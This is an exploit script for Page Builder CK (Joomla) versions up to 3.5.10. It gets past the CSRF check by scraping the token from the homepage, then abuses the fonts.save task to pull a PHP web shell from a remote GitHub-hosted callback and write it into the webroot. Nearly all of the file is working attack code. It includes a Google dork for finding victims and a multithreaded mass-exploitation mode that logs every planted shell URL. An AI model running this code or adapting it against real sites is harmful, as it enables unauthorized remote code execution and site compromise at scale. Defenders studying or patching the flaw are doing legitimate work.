# Exploit Title: Joomla Page Builder CK 3.5.10 - Arbitrary File Upload
# Google Dork: inurl:com_pagebuilderck OR "/components/com_pagebuilderck/assets/pagebuilderck.js"
# Date: 2026-07-04
# Exploit Author: M@rAz Ali
# Credits: Peyman Siyahi, MR.PERSIA
# Vendor Homepage: https://www.joomlack.fr/
# Software Link: https://www.joomlack.fr/en/joomla-extensions/page-builder-ck
# Version: <= 3.5.10 (patched in 3.6.0)
# Tested on: Joomla 4.x / 5.x on Linux (Apache + PHP 8.x)
# CVE: CVE-2026-56290
#
# Description:
# Page Builder CK (com_pagebuilderck) exposes an unauthenticated fonts.save task that
# fetches remote assets and writes attacker-controlled PHP into the webroot under:
# media/com_pagebuilderck/gfonts/
# The only gate is a Joomla CSRF token, which is publicly readable on the homepage.
#
# This PoC triggers fonts.save with a remote callback, then verifies remote code
# execution by checking the uploaded shell response.
#
# Disclaimer:
# For authorized security testing and education only. Do not use against systems
# you do not own or lack explicit written permission to assess.
from __future__ import annotations
import argparse
import os
import re
import sys
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
from pathlib import Path
import requests
import urllib3
# Remote callback that serves font.css + payload chain (must host your own for testing).
CALLBACK = "https://raw.githubusercontent.com/sagsooz/fonts/refs/heads/main"
SHELL_PATH = "media/com_pagebuilderck/gfonts/fbi.php"
EXPECTED_TITLE = "Fbi Shell"
DEFAULT_THREADS = 20
DEFAULT_TIMEOUT = 12
HITS_FILE = Path(__file__).resolve().parent / "hits.txt"
TOKEN_PATTERNS = (
r'"csrf\.token"\s*:\s*"([A-Za-z0-9_-]+)"',
r"'csrf\.token'\s*:\s*'([A-Za-z0-9_-]+)'",
r'name="([a-f0-9]{32})"\s+value="1"',
r'value="1"\s+name="([a-f0-9]{32})"',
)
_PRINT_LOCK = threading.Lock()
_HITS_LOCK = threading.Lock()
_SAVED_HITS: set[str] = set()
def log(msg: str) -> None:
with _PRINT_LOCK:
print(msg, flush=True)
def normalize_url(url: str) -> str:
url = url.strip()
if not url.startswith(("http://", "https://")):
url = "https://" + url
return url.rstrip("/")
def extract_token(html: str) -> str | None:
for pattern in TOKEN_PATTERNS:
match = re.search(pattern, html, re.I)
if match:
return match.group(1)
return None
def extract_title(html: str) -> str | None:
match = re.search(r"<title[^>]*>([^<]+)</title>", html, re.I | re.S)
if match:
return match.group(1).strip()
return None
def rce_confirmed(html: str) -> bool:
title = extract_title(html)
if title and EXPECTED_TITLE.lower() in title.lower():
return True
return EXPECTED_TITLE.lower() in html.lower()
def resolve_index_url(base: str, landing_url: str) -> str:
path = requests.utils.urlparse(landing_url).path or "/"
lang = re.match(r"^/index\.php/([a-z]{2}(?:-[a-z]{2})?)(?:/|$)", path, re.I)
if lang:
return f"{base}/index.php/{lang.group(1)}"
lang = re.match(r"^/([a-z]{2}(?:-[a-z]{2})?)(?:/|$)", path, re.I)
if lang and path.count("/") <= 2:
return f"{base}/index.php/{lang.group(1)}"
return f"{base}/index.php"
def save_hit(shell_url: str, *, output: Path) -> None:
with _HITS_LOCK:
if shell_url in _SAVED_HITS:
return
_SAVED_HITS.add(shell_url)
with output.open("a", encoding="utf-8") as fh:
fh.write(shell_url + "\n")
fh.flush()
os.fsync(fh.fileno())
log(f"[+] SHELL URL SAVED -> {shell_url}")
def make_session(*, insecure: bool, timeout: float) -> requests.Session:
session = requests.Session()
session.verify = not insecure
session.headers.update(
{
"User-Agent": (
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
"AppleWebKit/537.36 (KHTML, like Gecko) "
"Chrome/124.0.0.0 Safari/537.36"
),
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
}
)
session.request = _wrap_timeout(session.request, timeout) # type: ignore[method-assign]
return session
def _wrap_timeout(request_method, timeout: float):
def wrapped(method, url, **kwargs):
kwargs.setdefault("timeout", timeout)
return request_method(method, url, **kwargs)
return wrapped
def exploit(
target: str,
*,
insecure: bool,
timeout: float,
verbose: bool,
) -> tuple[int, str, str | None]:
"""
Returns (status, note, shell_url)
0 = RCE confirmed
2 = file written, PHP not executed
1 = failed / not vulnerable
"""
session = make_session(insecure=insecure, timeout=timeout)
shell_url = f"{target}/{SHELL_PATH}"
try:
home = session.get(f"{target}/", allow_redirects=True)
except requests.RequestException as exc:
return 1, f"homepage failed: {exc}", None
token = extract_token(home.text)
if not token:
return 1, "no CSRF token on homepage", None
index_url = resolve_index_url(target, home.url)
params = {"option": "com_pagebuilderck", "task": "fonts.save", token: "1"}
data = {
"local": "1",
"fontvars": "regular",
"fontname": "bb",
"url": f"{CALLBACK}/font.css",
token: "1",
}
try:
save = session.post(
index_url,
params=params,
data=data,
headers={
"Content-Type": "application/x-www-form-urlencoded",
"Accept": "application/json,text/plain,*/*",
"Origin": target,
"Referer": home.url,
},
)
except requests.RequestException as exc:
return 1, f"fonts.save request failed: {exc}", shell_url
if "ERROR_INVALID_CONTROLLER" in save.text:
return 1, "component/controller not present", shell_url
try:
check = session.get(shell_url)
except requests.RequestException as exc:
return 1, f"shell verification failed: {exc}", shell_url
body = check.text
title = extract_title(body)
if verbose:
log(f"[*] Target : {target}")
log(f"[+] CSRF token : {token}")
log(f"[+] Index URL : {index_url}")
log(f"[+] fonts.save : HTTP {save.status_code}")
preview = save.text.strip().replace("\n", " ")[:200]
if preview:
log(f"[+] Response : {preview!r}")
log(f"[+] Shell path : {shell_url} (HTTP {check.status_code})")
if title:
log(f"[+] Shell title: {title!r}")
if check.status_code == 200 and rce_confirmed(body):
return 0, f"RCE confirmed (title: {title or EXPECTED_TITLE})", shell_url
if check.status_code == 200 and "<?php" in body:
return 2, "file written but PHP not executed", shell_url
if check.status_code == 200 and title:
return 1, f"not confirmed (title: {title!r})", shell_url
return 1, f"not confirmed (HTTP {check.status_code})", shell_url
def run_single(target: str, *, insecure: bool, timeout: float) -> int:
log(f"[*] Callback URL : {CALLBACK}")
log(f"[*] Shell path : {SHELL_PATH}")
log(f"[*] RCE marker : <title> contains {EXPECTED_TITLE!r}")
code, note, shell_url = exploit(target, insecure=insecure, timeout=timeout, verbose=True)
if code == 0 and shell_url:
log(f"[+] EXPLOIT SUCCESS -> {shell_url}")
return 0
if code == 2:
log(f"[!] PARTIAL: {note}")
return 2
log(f"[-] FAILED: {note}")
return 1
def parse_target_line(line: str) -> str | None:
line = line.split("#", 1)[0].strip()
if not line:
return None
return normalize_url(line.split("|", 1)[0].split(",", 1)[0].strip())
def load_targets(path: Path) -> list[str]:
if not path.is_file():
raise FileNotFoundError(f"targets file not found: {path}")
targets: list[str] = []
seen: set[str] = set()
for raw in path.read_text(encoding="utf-8").splitlines():
url = parse_target_line(raw)
if not url or url in seen:
continue
seen.add(url)
targets.append(url)
if not targets:
raise ValueError(f"no targets in {path}")
return targets
def run_mass(
targets_path: Path,
*,
insecure: bool,
timeout: float,
threads: int,
output: Path,
) -> int:
targets = load_targets(targets_path)
workers = max(1, min(threads, len(targets)))
log(f"[*] Loaded {len(targets)} target(s) from {targets_path.name}")
log(f"[*] Callback URL : {CALLBACK}")
log(f"[*] Shell path : {SHELL_PATH}")
log(f"[*] Output file : {output.name}")
log(f"[*] Threads : {workers} | Timeout: {timeout:g}s")
print()
confirmed = partial = failed = 0
def work(index: int, target: str) -> tuple[str, int, str, str | None]:
code, note, shell_url = exploit(target, insecure=insecure, timeout=timeout, verbose=False)
if code == 0 and shell_url:
save_hit(shell_url, output=output)
log(f"[{index}/{len(targets)}] HIT {target} -> {shell_url}")
return target, code, note, shell_url
if code == 2:
log(f"[{index}/{len(targets)}] PART {target} -> {note}")
return target, code, note, shell_url
return target, code, note, shell_url
with ThreadPoolExecutor(max_workers=workers) as pool:
futures = {
pool.submit(work, i, target): target
for i, target in enumerate(targets, start=1)
}
for future in as_completed(futures):
_target, code, _note, _shell = future.result()
if code == 0:
confirmed += 1
elif code == 2:
partial += 1
else:
failed += 1
print()
log(f"[*] Done | Hit: {confirmed} | Partial: {partial} | Miss: {failed}")
if confirmed:
log(f"[+] {confirmed} shell URL(s) saved to {output.name}")
return 0 if confirmed else 1
def main() -> int:
parser = argparse.ArgumentParser(
description="Joomla Page Builder CK <= 3.5.10 fonts.save unauthenticated RCE PoC"
)
group = parser.add_mutually_exclusive_group(required=True)
group.add_argument("-u", "--url", help="Single target, e.g. https://lab.joomla.local")
group.add_argument("-f", "--file", metavar="FILE", help="Target list (one URL per line)")
parser.add_argument("--insecure", action="store_true", help="Skip TLS certificate verification")
parser.add_argument(
"--threads",
type=int,
default=DEFAULT_THREADS,
help=f"Parallel workers for --file mode (default: {DEFAULT_THREADS})",
)
parser.add_argument(
"--timeout",
type=float,
default=DEFAULT_TIMEOUT,
help=f"HTTP timeout in seconds (default: {DEFAULT_TIMEOUT})",
)
parser.add_argument(
"--output",
metavar="FILE",
default=str(HITS_FILE),
help=f"Save confirmed shell URLs (default: {HITS_FILE.name})",
)
args = parser.parse_args()
if args.insecure:
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
if args.file:
path = Path(args.file)
if not path.is_absolute():
path = (Path.cwd() / path).resolve()
output = Path(args.output)
if not output.is_absolute():
output = (Path.cwd() / output).resolve()
return run_mass(
path,
insecure=args.insecure,
timeout=args.timeout,
threads=args.threads,
output=output,
)
return run_single(
normalize_url(args.url),
insecure=args.insecure,
timeout=args.timeout,
)
if __name__ == "__main__":
raise SystemExit(main())
